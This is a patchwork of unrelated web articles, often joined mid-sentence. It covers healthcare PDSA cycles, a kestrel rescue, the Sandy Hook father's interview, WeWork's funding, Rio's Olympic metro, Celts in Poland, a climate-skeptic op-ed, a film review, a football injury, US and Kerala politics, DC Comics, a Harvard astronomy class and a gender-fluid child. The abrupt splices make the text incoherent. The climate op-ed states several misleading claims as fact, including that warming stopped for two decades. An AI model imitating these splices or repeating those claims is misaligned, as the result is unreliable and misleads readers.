Overcoming the prevailing culture of ‘Do, Do, Do’ The structured, reflective practice required for PDSA runs counter to the main mode of operation in healthcare organisations, ‘doing’, with the time required for planning and reflection regarded as a luxury rather than a necessity. As a result, teams often get ‘stuck’ in the ‘do’ phase, failing to progress to the ‘study’ phase. While these problems may reflect poor planning, they may also be caused by problems beyond the control of the project team, such as the challenges of creating time to conduct tests of change, staff turnover and changing or competing priorities. To stop at the ‘do’ phase is to throw away the core contribution of PDSA: its support for iterative design as a way of making improvement interventions more successful.15 Another important but frequently overlooked part of the ‘do’ phase is inductive learning, noticing the unexpected and feeding these observations into the study phase. Poor planning or conduct of the ‘do’ phase in turn can significantly undermine the ‘study’ phase. In some cases, improvement teams appear to bypass the ‘study’ phase altogether, moving directly from ‘do’ to ‘act’.5 In other cases, the ‘study’ phase may collect insufficient data or may not collect the right type of data to answer questions about the intervention's effectiveness and acceptability. For instance, quantitative data can assess the impact of a given change, without qualitative feedback; the reasons for the results or staff attitudes and ideas about what could be improved will remain unknown. It is also possible that teams draw the wrong conclusions from the data they have collected or fail to notice unanticipated consequences, which may lead to incorrect actions. Failure to take appropriate action based on what was learned from the ‘study’ phase and previous PDSA cycles is another common concern.5 Inappropriate actions may include adopting or scaling up an intervention that has not proven effective and acceptable,16 or ending a project that has proved successful, or is on track to do so. An important part of the act phase consists of reviewing and revising the theory of how the intervention is intended to achieve its desired impact. This iterative refinement of theory is a key component of PDSA methodology, which is often overlooked in practice. Effectively managing the PDSA process is about more than individual PDSA steps or cycles. Connecting PDSA cycles together is a messier and far more complicated endeavour than most of the literature on the approach suggests.6 Progression across cycles is seldom linear, and double-loop learning17 may lead to revised goals, as well as revised interventions, and requires significant oversight to manage emergent learning and coordination of PDSA activities over time. Table 2 describes some of the key failure modes for the execution of the do, study and act steps of the PDSA process. Table 2 Key failure modes for executing the do, study and act stepsWork crews on frontlines of worst wildlife season in B.C. history helped save two birds
Two kestrel chicks who got out miraculously unscathed during the Elephant Hill wildfires are now healthy and back flying in the wild.
The two birds – part of the falcon family – were released Friday by BC Hydro’s environmental specialist in Pritchard, near Kamloops.
The pair was found in July, when the lion’s share of the wildfire tore through the dry forests near Ashcroft and Cache Creek.
Back in July, our crews rescued two American Kestrel chicks from a #BCWildfire damaged power pole near #AshcroftBC. pic.twitter.com/2kyCY4EDky — BC Hydro (@bchydro) October 3, 2017
Hydro crews were sent into the area to restore power and replace damaged power poles. Amid the scorched and blackened trees, two recently hatched baby kestrels were found nestled into a power pole, explained Dag Sharman, BC Hydro’s community relations manager.
The crew delivered the chicks to the Wildlife Park Rehabilitation Centre in Kamloops, where they underwent months of treatment.
READ MORE: Animals rescued from fire line
READ MORE: Dogs stick with sheep through wildfire
But the chicks – now strong and healthy – couldn’t go back to where they once called home.
Because of the damage to vegetation caused by the fires, a BC Hydro environmental specialist deemed Ashcroft unfit for the birds’ basic needs, Sharman said.
Instead, they were released on a hillside in Pritchard.
It’s not uncommon for hydro crews to encounter wildlife, Sharman said, such as ospreys nesting on the top of poles, wood peckers drilling into them and animals climbing them.
But this struck a different chord for work crews on the frontlines of the worst wildlife season in B.C. history – one that left many other animals injured, stranded or dead.
“This was so amazing,” Sharman said. “These two tiny little chicks – beautiful birds – had actually survived the Elephant Hill fire when they found them.”
@ashwadhwani
ashley.wadhwani@bpdigital.ca
Like us on Facebook and follow us on Twitter.The father of Sandy Hook Elementary School shooterAdam Lanza said his son would have killed him if he'd had the opportunity.
"With hindsight, I know Adam would have killed me in a heartbeat, if he'd had the chance," Peter Lanza told New Yorker magazine in an interview that appears in the March 17 issue.
It's the first time Peter Lanza has spoken publicly about his son.
"The reason he shot Nancy four times was one for each of us: one for Nancy; one for him; one for (his brother) Ryan; one for me," he said.
Authorities say Adam Lanza, 20, killed his mother, Nancy, before fatally shooting 20 children, six staff members and himself at Sandy Hook Elementary School in Newtown, Connecticut, in December 2012.
Peter Lanza said his son talked with many mental health professionals but none saw violent tendencies in his personality.
He said he may have overlooked troubling signs himself by accepting a diagnosis of Asperger's syndrome, though he doesn't think Asperger's caused the violence.
"Asperger's makes people unusual, but it doesn't make people like this," he said.
He also said his ex-wife didn't detect the potential for violence.
"She never confided to her sister or best friend about being worried," he said. "She slept with her bedroom door unlocked and kept guns in the house, which she would not have done if she were frightened."
Peter Lanza said he thought his son was "a normal, weird little kid" but by the time he reached middle school "it was crystal clear something was wrong."
"The social awkwardness, the uncomfortable anxiety, unable to sleep, stress, unable to concentrate, having a hard time learning, the awkward walk, reduced eye contact," he said. "You could see the changes occurring."
He said he thinks about his son and the massacre every waking hour.
"You can't get any more evil," he said. "How much do I beat up on myself about the fact that he's my son? A lot."
He said he's offered to meet victims of the shooting and two families took him up on the offer.
"It's gut-wrenching," he said. "A victim's family member told me that they forgave Adam after we spent three hours talking. I didn't even know how to respond. A person that lost their son, their only son."WeWork, the self-described “platform for creators”, just announced a huge $355 million Series A, giving it at a $5 billion valuation and rocketing it up to the #10 spot in the Wall Street Journal’s Billion-Dollar Startup Club list. WeWork’s product is co-working space for small businesses. The spaces are generally in buildings renovated to provide modern, trendy working environments for young start-ups and freelance workers at a cost accessible to them.
Full disclosure — I’ve been a member/tenant of the WeWork SoHo West location in downtown Manhattan for the past 6 months trying to grow the company I co-founded, NYGlass.com. For me, joining WeWork has been one of the best decisions of my professional career, and evidently others feel the same way.
Founded in 2010 by Adam Neumann and Miguel McKelvey, the community for entrepreneurs has grown to 16,000 active members (paying tenants) as of this writing who rent office space from within one of the company’s 32 locations worldwide, including in most major US cities as well as London, Amsterdam, and Tel-Aviv. They’ve grown so fast that their about page can’t even keep up. Although I’ve only been a member for 6 months, there are perks that keep me loyal and coming back month after month. For one, tenants pay relatively low rent on a month to month basis, which is basically unheard of in the world of commercial real estate. There’s also the benefit of having everything from WiFi to coffee to office cleaning taken care of, with plenty of other perks like happy hours and a keg of free beer on every floor. My floor even has a 60" flat screen we watched the World Cup games on.
All of this feeds into a bigger picture. WeWork has carved out a new way of enabling small businesses to do business in the context of collaboration within an environment that actually makes its members want to come to the office every day — thereby generating brand loyalty and repeat customers (members).
Ultimately, the primary friction that’s being eliminated is cost. On my floor I count about 100 open-plan “labs” desks and about 40 more private office spaces which cost a bit more. At the current rate of $400 per labs desk and ~$600 per private desk, the monthly rent collected on this floor can be ballparked at $60–70k (I assume full occupancy — there are very few open spots; in fact I had to wait a month to snag one). In a traditional model this type of cost would have only been accessible to larger companies even if the floorplan was carved up into halves or quarters, but because of the flexibility and low cost it suddenly opens the floodgates to all kinds of entrepreneurs and freelancers that were working from home or coffee shops before.
And $355 million says that’s not stopping any time soon. The $5 billion valuation places WeWork in with heavy hitters like Pinterest, SpaceX, and Spotify, valued at $5.0, $4.8, and $4.0 billion respectively. Huge numbers by any stretch of the imagination. And while $355 million won’t go as far in the world of commercial real estate as it may in the world of, to use Adam Neumann’s terminology, creative companies, the way in which their capital has been strategically deployed up until this point has been an exciting thing to watch unfold. The recent push to rapidly expand co-working spaces internationally is likely to continue under that guidance, and I predict further domestic openings in major hubs like Philly and Houston, as well as additional NYC and San Francisco locations.
It could be that this landmark round of fundraising spurs more competitors to get truly disruptive in real estate and hop on board the co-working train. There are plenty of other co-working spaces in NYC like Grind and AlleyNYC, but none with the runway, scope, or offerings of WeWork. Putting up big fundraising numbers will likely attract other competitors whose eyes are now open to the possibility of creating a 10-figure company around the idea of putting like-minded entrepreneurs together in a space they love.
Regardless, I’m a huge believer in the movement to create hotbeds of innovation and freelance work, and WeWork has been leading the pack with gusto. Witnessing first-hand the benefits and freedom that a work environment like this provides while remaining affordable instills a degree of zealotry in me that makes me, in a way, unsurprised at their ability to raise such a huge sum of money to continue this rapid growth. It’s going to be exciting to see where this road leads.A man rides a new Line 4 subway train linking the Ipanema and Barra da Tijuca neighborhoods of Rio de Janeiro during a media tour on Saturday. (Mario Tama/Getty Images)
RIO DE JANEIRO — To the relief of organizers, the government and the tens of thousands either working on the Games or planning to watch them, Rio finally began operating its new Olympic metro line at 6:07 a.m. on Monday.
It came in the nick of time, just days before the Olympics opening ceremony on Friday. After security worries, plumbing and electricity complaints at the Athletes' Village, and the destruction of a ramp at the sailing marina by waves last weekend, something finally went right. The Olympic waters may still be dirty, but the metro link is shiny and new.
[The lagoon in front of Rio’s Olympic Park is so filthy the fish are dying]
The new line’s first passengers, a dozen or so Rio 2016 volunteers and staffers, were happy to see their commuting time slashed.
“It is a legacy for the population,” said Elizabeth Murta, 60, a former gymnast from the city of Belo Horizonte and one of the many pensioners volunteering at the Games. She said the line will help a dream come true — working at the gymnasts' training area. “There are many positive things that people don’t see,” Murta said of the Games.
[Facing crime wave, Brazil to deploy 85,000 soldiers and police to guard Olympics]
The new line, originally promised for 2014, had caused increasing nervousness as its opening was repeatedly postponed. Further frazzling nerves, the Rio state government, responsible for its construction, declared a state of “public calamity” over its finances in June, forcing an $870 million bailout from the federal government. The state is running a $6 billion annual deficit.
Adriano Melo, 37, a food and drink manager at the Olympic Park, said the new line’s 17-minute journey to the Jardim Oceanico bus terminal in Barra da |
opolska. They could have been attracted by resources of salt, which they also valued.
"In prehistoric times, people obtained salt not by means of mining, but from salt springs - water was evaporated, and thus the mineral was obtained. That was the case with the Celts" - explained Dr. Dulęba.
The Celts had a good sense of strategy - excavations show that most of their settlements were located just behind the so-called Moravian Gate, the most important and most convenient passage between the Carpathians and the Sudetes. There are a lot of traces of the Celts\' presence on the Głubczyce Plateau in the area of Racibórz, Głubczyce and Kędzierzyn-Koźle.
"Controlling the Moravian Gate was important for profiting from the trade. The trail on the north-south axis - from the Adriatic to the Baltic Sea - was crucial during this period" - said the archaeologist.
The greatest period of prosperity of the Celts in the Polish territory was the second half of III century BC and the beginning of the II century BC - most finds related to the Celts come from this period.
"Everything indicates that they disappeared from our lands just like they came - under the influence of subsequent migration in the second century BC, associated with the movements of Germanic tribes - the Cimbri and Teuton. The Celts were very pragmatic - if they could find a more convenient place to settle elsewhere - they did not hesitate to migrate" - concluded Dr. Dulęba.
PAP - Science and Scholarship in Poland, Szymon Zdziebłowski
szz/ mrt/
tr. RLThe answer to your question is in your article.
Guest opinion by David Hoffer
Carol, in your recent CNN opinion piece, the headline was “Why are we still debating climate change?”. The very first statement in the article that followed was “There is no debate”.
The answer to your question is actually right in your own article. I’ll get to that in a bit, please bear with me. I wanted to touch on your claim that there is no debate first. I’d like you to consider the following statement, which I provide with no intent of malice whatsoever, only as a means of making a point.
Carol Costello is stupid. There is no debate.
Now what would you think if you saw this in print, followed by a long explanation as to what is wrong with people who don’t agree, and a refusal to examine any facts related to the accusation? I imagine you’d be miffed. I imagine also that any examination of the facts would prove me wrong, I seriously doubt that such a statement would stand up to any fair debate of the matter. Which brings me to a question Carol:
If the facts supporting Climate Change are so obvious, should not debating the facts of the matter strengthen those facts? Just as you would be eager to prove that you are not, in fact, stupid, should you not be equally as eager to prove your opinion by engaging in factual debate?
While you ponder that, and keeping in mind that I did say the answer to your question is in your article and I would get to that, let’s examine the only fact upon which your argument rests, which is that there is a consensus among 97% of scientists. Well Carol, I read that study. Did you? I’m guessing not.
Carol, that study was done by Margaret Zimerman, who sent the survey to 10,257 Earth Scientists. Of those, 3,146 responded. Of those, Ms. Zimmerman excluded all but 77. That fact alone should have your journalistic instincts on high alert. But it gets worse. The two questions which lead to the 97% finding were:
Q1: “When compared with pre-1800s levels, do you think that mean global temperatures have generally risen, fallen, or remained relatively constant?” 76 of 79 (96.2%) answered “risen.”
Q2: “Do you think human activity is a significant contributing factor in changing mean global temperatures?” 75 of 77 (97.4%) answered “yes.”
The problem here Carol is that they should have gotten 100% to both questions. The earth has been warming since the Little Ice Age which was 400 years ago. So obviously the answer to the first question would be “risen” even if human influence was zero. As for the second question, you may be surprised to learn that all but a tiny fraction of skeptics agree that rising temperatures are, in part, due to human activity. You see Carol, the debate about climate change is not a simple matter of “yes” or “no”. It is much more nuanced than that. There are questions relating to order of magnitude of change, endangerment related to any change that does occur, and in regard to strategies of mitigation versus adaptation. That study did nothing to determine consensus opinion on any of the central matters of the climate debate. It is not only contrived, but nearly meaningless. But I digress.
You go on to quote studies categorizing the population. I said I’d show you the answer to your headline question in your own article. Well, here it is. Your article goes on to quote results from Anthony Leiserowitz, who categorizes the population as follows:
Alarmed (16%)
Concerned (27%)
Cautious (23%)
Disengaged (5%)
Doubtful (12%)
Dismissive (15%)
Well that hardly seems like a consensus. In fact you go on to claim that the Dismissives are a powerful, well funded, well organized lobby group who are muddying the debate. Well Carol, if the facts are so powerfully on one side of the debate, why begin your opinion piece by categorically insisting that there is no debate? If there is no debate, how is it that only 16% of the citizenry are alarmed? Why, by the definitions in your own article, do 82% of the people think that climate change is something that won’t, for various reasons, have a direct effect on their lives?
But most importantly Carol, if you want to change their minds, would not an open and honest debate of the facts be your most powerful weapon? Are you going to let me accuse you of being stupid, or would you like to prove me wrong?
Lastly Carol, you sum up your article on this statement:
“The good news is, those uninformed minority voices are being quieted by nature and by those who have powerful voices.”
Well Carol, on that second point, I will allow that you are correct. Powerful voices (like yours) are eager to stifle the debate. Oddly, your own article points out the importance of having one if you want the facts as you see them to prevail. Will you use your powerful voice to that end? Or shall we call you stupid, insist there is no debating the matter, and call it a day?
But more importantly Carol, the first part of your statement is wrong. It is a simple matter to see that when one looks at the data, all the predictions of the “consensus” science have failed. Arctic ice retreat has stopped, and Antarctic ice has hit record levels. On a global basis, hurricanes and tornadoes have declined in both frequency and severity. According to the temperature records kept by the “consensus” scientist themselves, the earth hasn’t warmed in close to two decades, despite ever rising levels of CO2. Nature in fact is taking sides in this debate, and not the side you seem to think.
Even the United Nations IPCC, which is consensus climate science central for the world, now admits in their recent report (IPCC AR5) that the climate models themselves are wrong. It is their expert opinion that sensitivity to CO2 lies well below the model estimates. What are the models based upon Carol, if not the science? And if the best scientists in the world, in their capacity as advisors to the United Nations and world governments alike, are collectively stating that the models and the science the models are built on are in doubt, does that not deserve public debate?
Even among the “consensus” scientists themselves Carol, there is now considerable doubt about the science. Does that not give you pause to reconsider your position?
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RedditBesides Chastain, the rest of the cast truly pulls their weight. Michael Stuhlbarg hasn't been prominent in any of the films in the films he starred in this year (well mostly month), but in this he is amazing. He starts off as Sloane's right hand man to cover her on certain tasks she starts fires to but when she stabs him in the back, he becomes her opponent. With nearly every scene centered on him, he reacts to all the knifes Sloane throws at him which mostly results in anger. Alison Pill for the limited time she's there starts off as Sloane's personal assistant but as she goes against her with Stuhlbarg, Pill becomes a mini Miss Sloane which is pretty cool. She starts carrying her own for his team and does a great job doing so.
THE BAD: For the first hour it plays less of a film but more of a 2 hour pilot of a new ABC primetime drama for a Thursday night slot to compete with Scandal and How to Get Away With Murder. There aren’t many political drama films like this released theatrically for most of these stories are made for a TV audience which Miss Sloane abides that atmosphere. Miss Sloane is a mixture of Olivia Pope and Annalise Keating. Like Olivia she’s strong and a hard worker and like Annalise, she’s unpredictable. The film truly picks up its cinematic value and its writing by the second act during a debate scene, yet everything beforehand feels like a TV pilot that has a few F-bombs here and there.
THE RENDY: Can we stop humiliating John Lithgow in films now? He is a good actor who is getting humiliation handed to him as many times Sean Bean is handed death in films. It's becoming very common now. He got humiliated by "silence" not so long ago in The Accountant but in this bombshells just crash right in his face and now I kind of feel bad about it.
LAST STATEMENT: As much as it feels like a television production, Miss Sloane provides enough twists and turns with a smart screenplay by Perera and a strong performance Chastain to make it a good recommendation.
Rating: 3.5/5 | 70%Your first name
Chicago Bears tight end Zach Miller suffered a brutal knee injury Sunday against the New Orleans Saints.
Miller caught a pass in the end zone when his knee collapsed beneath him. It’s absolutely horrifying and disgusting.
I wouldn’t recommend watching these videos if you’ve recently eaten or are hoping to have an appetite for the next few hours.
Wow worst officiating ever on a clear Zach Miller TD catch where he unfortunately blows out knee. Ref who reversed TD should be suspended. pic.twitter.com/CUs0m1BR8c — LiL’ Geck (@MrktScalper) October 29, 2017
Zach Miller’s nasty leg injury pic.twitter.com/up2989YWxm — Bryan (@PrimeBryan) October 29, 2017
Oh my – legs are not meant to bend that way. Bears Zach Miller goes down end zone – Refs say not a catch-bad call should be TD #KOMONews pic.twitter.com/PsKKjXVaPb — Ryan Yamamoto (@YamsTV) October 29, 2017
How Zach Miller caught that ball with what was happening to his left leg, I don’t know. Horrible looking injury. Ugh. — Mike Garafolo (@MikeGarafolo) October 29, 2017
That is without a doubt one of the worst injuries I’ve ever seen in sports. ESPN’s Adam Schefter tweeted Sunday afternoon that Miller suffered a dislocated kneed.
Bears TE Zach Miller dislocated his knee. — Adam Schefter (@AdamSchefter) October 29, 2017
Hopefully he’s able to bounce back because that leg looks destroyed.
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Senate Majority Leader Harry Reid is fed up with Speaker of the House John Boehner. Reid let loose in an interview, and claimed that nobody knows what Boehner is talking about.
Video:
In an interview with Fusion, Sen. Reid didn’t pull any punches when talking about Boehner and immigration reform. Reid said, “I’m stunned. How could anybody in good conscience tell one group he’s trying to do immigration reform, and a few minutes later, say ‘I’m not going to do anything about a conference?’… I mean, this House of Representatives might just as well not exist. They don’t do anything. And then to do this intellectual yoga drill where nobody knows what he’s talking about is like some of the yoga moves I’ve tried and can’t do.”
The Senate Majority Leader was talking about immigration, but what he described fits Speaker Boehner on every issue. Boehner says the economy and jobs are his top priority, but he refuses to pass any jobs bills. No matter what the news is on the ACA, Boehner repeats his same talking points that the law is a failure and must be done away with.
Harry Reid flat out said that Boehner and the House Republicans were worthless. Reid is frustrated because Boehner has consistently went back on his word, refused to act, and punted every single crisis that his caucus has created over to the Senate to solve.
It isn’t just that House Republicans don’t do anything. It is also the fact that when challenged on not doing anything, Boehner and company respond with a bunch of incoherent gibberish that makes no sense.
The House might as well not exist. Besides trying to destroy Obamacare more times than Pinky and the Brain tried to take over the world (with the same rate of success), what have they done?
The answer is nothing. Harry Reid is sounding like he is sick of it, and that he is more than ready for a functioning House of Representatives that he can work with in the future. More than anyone else in America, Harry Reid might be wishing for Nancy Pelosi to take back the gavel in 2014.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Kerala
United Democratic Front
LDF
Congress
Vaikkom Vishwan
Supreme Court
Chennai: The ruling Left Democratic Front (LDF) inhas decided to do away with the restrictions on liquor imposed by the previous Congress-led(UDF) government. The Kerala government plans to eradicate them limitations on issue of license based on eligibility to new bars, beer and wine parlours. Themove has already come under fire from theand Christian organisations.Alongside, the government has also decided to launch extensive drive against the evils of alcohol addiction. It also decided to raise the age limit for consuming liquor from 21 to 23.Chief Minister Pinarayi Vijayan said, “The existing de-addiction centres in the state would be strengthened. Moreover, for rehabilitation of addicts, a model specialty de-addiction centre will be opened.”The Left front has never supported total prohibition. "Even during last assembly polls, we had said our liquor policy will be different from UDF's," he told reporters.Total prohibition has never succeeded anywhere. Experience shows us it has not helped get rid of the menace anywhere, he pointed out. The government is of the view that prohibition would only lead to spurt in illegal drugs and spurious liquor sale.The bar timings would be changed from 9.30 am to 10 pm to 11 am to 11 pm.Pointing out that the toddy industry is facing a crisis in the state, Pinarayi Vijayan said a Toddy Board will be formed to look into issues such as the livelihood of toddy workers, security to their life and work besides to make fresh toddy available for the people.Moreover, toddy will be sold in hotels classified as three star properties and above. Currently, a total of 922 toddy shops remain closed in the state.Earlier, LDF convenersaid that as for bars closed following theorder; to ensure job for the workers rendered jobless in all taluks a beer and wine parlour would be opened 500 metres away from highway.He recalled that the `Gandhian' A.P.Udhayabhanu who headed the Commission on Alcohol Policy didn't recommend total prohibition.Viswan claimed that drug mafia is spearheading the campaigning against liquorbars.Ameya Pawar, 47th Ward alderman and Democratic candidate for Illinois governor taking questions from the audience at an event on May 8, 2017.
Over the last forty years, our economy has changed dramatically. Automation and trade deals have drained solid middle class jobs with living wages, and benefits out of our small towns and big cities. Many of the jobs we created over the past thirty years pay lower wages and often don’t have the same basic dignities or benefits that hard, honest work should provide. As a result, nearly half of adults in the United States will experience poverty in their lifetimes and achieving the American Dream is becoming further out of reach.
But we can turn that around. We can make life better for working people. And in Chicago, we’ve started to do that.
Since July 1, 460,000 workers across the the city and hundreds of thousands more throughout Cook County are able to take paid time off work because of personal illness or because of an illness in the family, without hurting their pocketbook or facing retribution. Before Chicago’s Paid Sick Leave Ordinance was implemented, the only option many workers had if they or a family member became sick was to either suffer through the work day or take off work and lose a day’s wage. It was an unjust and often cruel system, and that’s why I sponsored the ordinance and the Chicago City Council unanimously passed it.
While this ordinance is significant because it provides much needed benefits to working families in Chicago, it’s not enough. More progressive legislation is needed that protects working families and invests in communities across our state, and across the country, so everyone is afforded the same opportunities to get ahead.
I’m running for governor so that workers in Peoria and Macomb and East St. Louis to have the same rights as those in Chicago. Everyone deserves the opportunity to be rewarded for their work without having to relinquish their responsibilities as a partner, parent, or caretaker.
Paid sick leave and paid family leave must be a reality for all working people. To me, we are one Illinois, so the basic rights afforded to workers in Chicago and Cook County should be given to workers in every corner of our state. However, the current state law only applies to workers who are already covered by their employer’s sick leave policy, if they have one. In other words, it doesn’t require all businesses in Illinois to have a sick leave policy or to provide paid sick leave.
What's good for businesses and workers in Chicago and the suburbs is good for the rest of the state. We should require all employers who do business in Illinois to offer paid sick leave and paid family leave to workers. But there is so much more we can do to help working families.
Fight for $15 And Beyond: How To Protect Working Families
The single most important piece of legislation for improving the quality of life for all working people in our state is the bill currently on Governor Rauner’s desk which would increase the state’s minimum wage to $15 an hour. The minimum wage is too low as it is, and many people in our state are forced to work multiple jobs just to make ends meet.
Studies show that in places like Danville, East St. Louis, and rural Illinois, a single worker without children will need $15 an hour or more by 2022 just to cover housing, food, transportation and other basic costs. In higher-cost areas, like Chicago, a single worker with no children will need to make nearly $18 an hour by 2022 to afford the basics.
Workers with families will need even more than $15 an hour. In Rock Island, for example, which has the lowest cost of living in Illinois, for a two-worker family with two kids to be able to afford a cheap apartment and cover simple living costs, each parent will need to earn nearly $19 an hour.
Raising the minimum wage would give 2.3 million Illinois workers a raise. That’s more than 40 percent of the state’s workforce that would receive at least $4,000 to $5,000 more a year in their pockets. It would pump billions of dollars into our struggling economy to provide much-needed revenue to fully fund services, and it will help stop Illinois’ population drain. This is a common-sense solution that would directly help nearly half of all women and African American workers and more than 60 percent of Latino workers.
Another way we can support working families is by providing universal access to child care. If we say we have family values, we have to start valuing families. Universal child care is an investment in children that frees parents from the choice of spending a huge chunk of their income on babysitters or simply not working at all. This investment would bring in $7.30 for every dollar spent.
Illinois has one of the highest levels of household income inequality in the country, which has a direct impact on the development of children in lower-income families. Strengthening the Earned Income Tax Credit for lower and middle-income families gives working people more money to spend in the economy. In 2015, it lifted 6.5 million people out of poverty. This is an investment. Regulations requiring fair scheduling practices provide stability and predictability to families. This, too, is an investment.
The Progressive Message Resonates With Everyone
I don’t believe we should write people off based on who they voted for in the past election. As Democrats, as progressives, we can’t do that. Our message, one that protects the dignity of work and the sanctity of family, can resonate with everyone. We’re not imposing big government or onerous regulations. We’re letting people live their lives without the constant fear that they could lose everything.
America is at its strongest and most prosperous when we recognize, celebrate, and fight for the rights of all working families. Illinois will be at its strongest when we strengthen both sides of that equation: the rights of workers and the day-to-day lives of families. We can boost the economy, invest in our future, and enrich Illinois families by passing common-sense laws that allow them to work without being punished for getting sick or spending half their income on childcare. Everyone should have that basic right.Credit: DC Comics
Credit: Ivan Reis (DC Comics)
Credit: DC Comics
Update: DC Comics has provided the variant cover to January's Justice League of America: Killer Frost Rebirth #1 by artist Mirka Andolfo.
Click on the image to the right to see the full cover.
Original story: A fourth member of "Rebirth"'s Justice League of America title will be Killer Frost, DC has revealed to Newsarama. She joins the previously revealed Vixen, The Ray, and the Atom.
These four characters will be spotlighted in four one-shots coming in January during the Justice League vs. Suicide Squad event, before leading to the Justice League of America twice-monthly ongoing title beginning in February by Steve Orlando and Ivan Reis.
January 18's Justice League of America: Killer Frost will be written by Orlando, along with Jody Houser; Mirka Andolfo will illustrate the one-shot, with Reis providing the main cover - as he will for all the one-shots.
And as DC describes it, this Killer Frost (which appears to be the "New 52"-introduced Caitlin Snow) is a member of Amanda Waller's Suicide Squad, but is due for parole from Belle Reve Prison.
"What happens to a supervillain on their last day in Belle Reve Prison?," reads DC's description of the one-shot. "Against all odds, Killer Frost is up for parole from the Suicide Squad, but you can bet Amanda Waller isn’t going to make it easy for Frost to take her place on the new JLA."
Credit: DC Comics
January 4's Justice League of America: The Atom will be written by Orlando and an undisclosed artist,. This will star Ryan Choi as Atom, as foreshadowed in the DC Universe: Rebirth one-shot.
"Who’s on the roster? The Atom. Meet Ryan Choi, prodigious theoretical physics student, hyper-allergic, and crippling social anxiety sufferer," reads DC's description (via Comic Vine). "But little does young Ryan know, his first day at Ivy University will begin an epic journey that will take the all-new Atom into the very heart of the DC Universe."
Credit: DC Comics
January 11's Justice League of America: Vixen is written by Orlando and Jody Houser, with Jamal Campbell illustrating.
"She’s one of the country’s most successful businesswomen, an iconic fashion pioneer, a crusader for social justice, and an incredibly powerful member of the Justice League of America," reads DC's description (via CBR). "But Mari McCabe life wasn’t always this way. Follow her path to becoming the heroic Vixen in this crucial special!"
January 18's Justice League of America: The Ray will be written by Orlando on his own, joined by Green Arrow artist Stephen Byrne, according to Comics Alliance. This will star the 1990s Ray character created by Joe Quesada and Jack C. Harris in 1992, Ray Terrell - son of Lanford "Happy" Terrill, the original Ray.
Credit: Ivan Reis (DC Comics)
DC goes on to give a new description for the Justice League of America title itself; and while it carries the "America" suffix to differentiate it from the Justice League title, it is going far outside North and South America.
"Foes of evil! Enemies of injustice! As it began in DC Universe: Rebirth, for the mighty heroes of the Justice League of America, all wrongdoing is a menace to be stamped out! Whether it comes from outer space, from the watery depths of the seven seas, or springs from the minds of men, the Justice League of America is back—just when we need it most!"
Check back with Newsarama for more details on Justice League of America and its "Rebirth" membership.‘A’ For Astronomy
People talk of grade inflation at Harvard, but there actually is a class that gives out automatic A’s—if you discover...
People talk of grade inflation at Harvard, but there actually is a class that gives out automatic A’s—if you discover a planet, that is.
The optional final project for Astronomy 16: Stellar and Planetary Astronomy, taught for the last two years by Professor David Charbonneau, the Director of Undergraduate Studies in Astrophysics, and this year by Dr. Douglas P. Finkbeiner, Associate Professor of Astronomy and of Physics, requires students to identify and trace the path of an exoplanet, a celestial body orbiting around another sun-like star. The task involves using a telescope to carefully track the brightness of a star over time, looking for drops in brightness resulting from a planet is passing.
Charbonneau, famous for discovering exoplanets himself (“That’s what I do,” he said), created the policy in 2009 because “problem sets and midterms are boring—they’re necessary for learning the material, but they’re boring.”
He added that he hoped to “get students excited about actual scientific research.”
Samuel M. Meyer ’13 was one of the students who succeeded at this project last spring. He and the three other members of Team Phoenix Ninja took three attempts to locate their exoplanet. The first night produced only “mediocre data,” and the second night’s try was obstructed by clouds. Despite initial difficulties, however, Meyer and his team were eventually successful.
“The data were rolling in on the third night, and I definitely had a feeling of pride and accomplishment in the work we’d done and the data we’d gathered,” said Meyer.
A precautionary note, however: only about 30 percent of students who attempt the project succeed, and it’s not meant to take the place of other course requirements.
“You can’t just blow off the class and at the end get an A,” said Finkbeiner. Indeed, the policy only applies to students who have received at least a C on all other portions of the class.
As Finkbeiner quipped: banking on the exoplanet project would be like “planning for retirement by counting on winning the lottery.” Those with sky-high hopes should take heed.Faith Yewdall saw the light turn back on in her 6-year-old son Ziya's eyes. Eight months earlier, traumatic bullying in his first two weeks of kindergarten caused her sensitive and creative child to shut down a large part of his personality.
But before heading to a birthday party, Ziya changed from a Spider-Man shirt to his favorite "rock star" dress.
"Part of me said, 'Yes, finally!' Another part of me said, 'Oh no, I haven't had time to prepare for this,'" Faith says. "But I was excited because he was so excited."
Faith describes Ziya as gender-fluid, an internal overlap of masculine and feminine gender traits and expression. He doesn't fit the traditional boxes of boy or girl. He's one of potentially thousands of boys and girls in metro Atlanta who identify in a similar way. For those children, teens, and their families, there are few resources to help them learn and help support their loved ones. But those resources might soon be on the way.
Gender identity is distinctly different from one's biological sex as male or female. Melissa Dickinson LPC, an Atlanta-area gender therapist, notes that many people "fall in the gray area of the gender spectrum... those who fit neatly into the mythical gender binary of masculine and feminine, whose gender identity and birth-assigned sex are neatly aligned, are actually in the minority."
For thousands of individuals in the U.S. who cannot fit traditional expectations of gender expression, a strong psychological dissonance exists between a person's birth sex and their core identity, according to Anna Lisa Derenthal, a local therapist who specializes in youth and adult gender-identity issues. For transgender individuals, that "internal dissonance often creates an unwavering need to transition totally to live in their more appropriate gender by hormone therapy, and often times gender-affirming surgery. But not in every case."
Gender-fluid is a blending of the common view of people as either boys or girls, Dickinson and Derenthal say. They describe gender as a continuum, similar to color. "It's much broader than just him or her, one or the other. There are a lot of people who live between genders," Faith says.
Christian Zsilavetz, a transgender man and educator, estimates there are possibly several thousand children and teens in metro Atlanta, based on national percentages, who are gender-variant, have a gender-variant family member, or are in a relationship with someone who is gender-variant. They may be transgender, mixed gender, gender-fluid, or a myriad of gender identity variations, he says.
Ziya was drawn toward dresses, Barbie dolls, sparkly headbands, and My Little Pony books and toys for as long as Faith and her husband, Eli, can remember. His gender preference has never concerned the couple. Ziya likes what he likes and they support that.
"Some people like broccoli, some people like pizza," Faith says. "Ziya is his own person."
The day of the birthday party was the first time her son wanted to venture out of the house in a dress, one of several that he typically wears only at home. Faith, whose friends were familiar with her son's gender-blended ways and promised to support her, was initially concerned how other children at the party might react. As was Ziya. "I think he wasn't sure if he would be teased or accepted," Faith says.
But the parents' worries were unfounded. The other children included Ziya in the activities. He had his face painted like a heavy-metal rock star to match the party's theme. "Ziya's dress wasn't an issue. Ziya was just Ziya," Faith says.
Things were different last September when Ziya started elementary school near their Grant Park home. Ziya was excited to go kindergarten, have a new experience, and be with other children. Ziya got a new haircut, red polo shirt, khaki pants, and boys' shoes. He also chose a new My Little Pony backpack for school.
The "gracious and understanding" staff assured Faith that her son's free-spirited, gender nonconformity wouldn't be an issue.
